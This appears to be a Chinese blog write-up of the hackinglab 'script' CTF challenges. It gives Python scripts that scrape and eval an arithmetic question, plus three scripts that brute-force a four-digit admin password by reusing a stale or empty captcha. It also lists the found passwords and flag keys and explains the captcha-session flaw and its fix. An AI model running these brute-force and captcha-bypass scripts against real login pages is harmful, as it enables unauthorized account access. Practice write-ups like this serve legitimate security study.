hackinglab 脚本关 writeup

key又又找不到了

先点开通关地址
这里写图片描述
之后点击这个链接,拦截它的response,可以得到key
这里写图片描述

快速口算

写个脚本就行了。利用正则来提取相关信息。

import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID='} #填入自己的cookie

contents = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.+)=<(input)", contents)

data = {'v': str(eval(matches.group(1)))}
contents = requests.post(url, headers=header, data=data).content.decode('utf-8')

matches = re.search("<body>(.*)</body>", contents)
print(matches.group(1))

这个题目是空的

因为是空,所以答案是
null

怎么就是不弹出key呢?

查看网页源代码,发现有三个return false。
所以我们把它保存到本地,删除这些函数就ok了

逗比验证码第一期

我们在第一次正确输入验证码以后,用burpsuite捕捉请求,发现不断提交,验证码是相同的,所以爆破一下就行

import requests
import re
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php',
          'Cookie': 'PHPSESSID=',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : 'KF4R', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

密码是1238

key is LJLJL789sdf#@sd

逗比验证码第二期

先提交一次正确的vcode,之后vcode为空就可以绕过去了,爆破方法一样。

import requests
import re
url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php',
          'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

密码是1228

key is LJLJL789ss33fasvxcvsdf#@sd

逗比验证码第三期

做法一样,下面引用博主人总闲 关于验证码原理的讲解

验证码发布的流程
1. 显示表单
2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
3. 用户提交表单
4. 核对验证码无误、数据合法后写入数据库完成
用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了
但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!
所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!

import requests
import re
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php',
          'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

密码 1298

key is LJLJLfuckvcodesdf#@sd

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值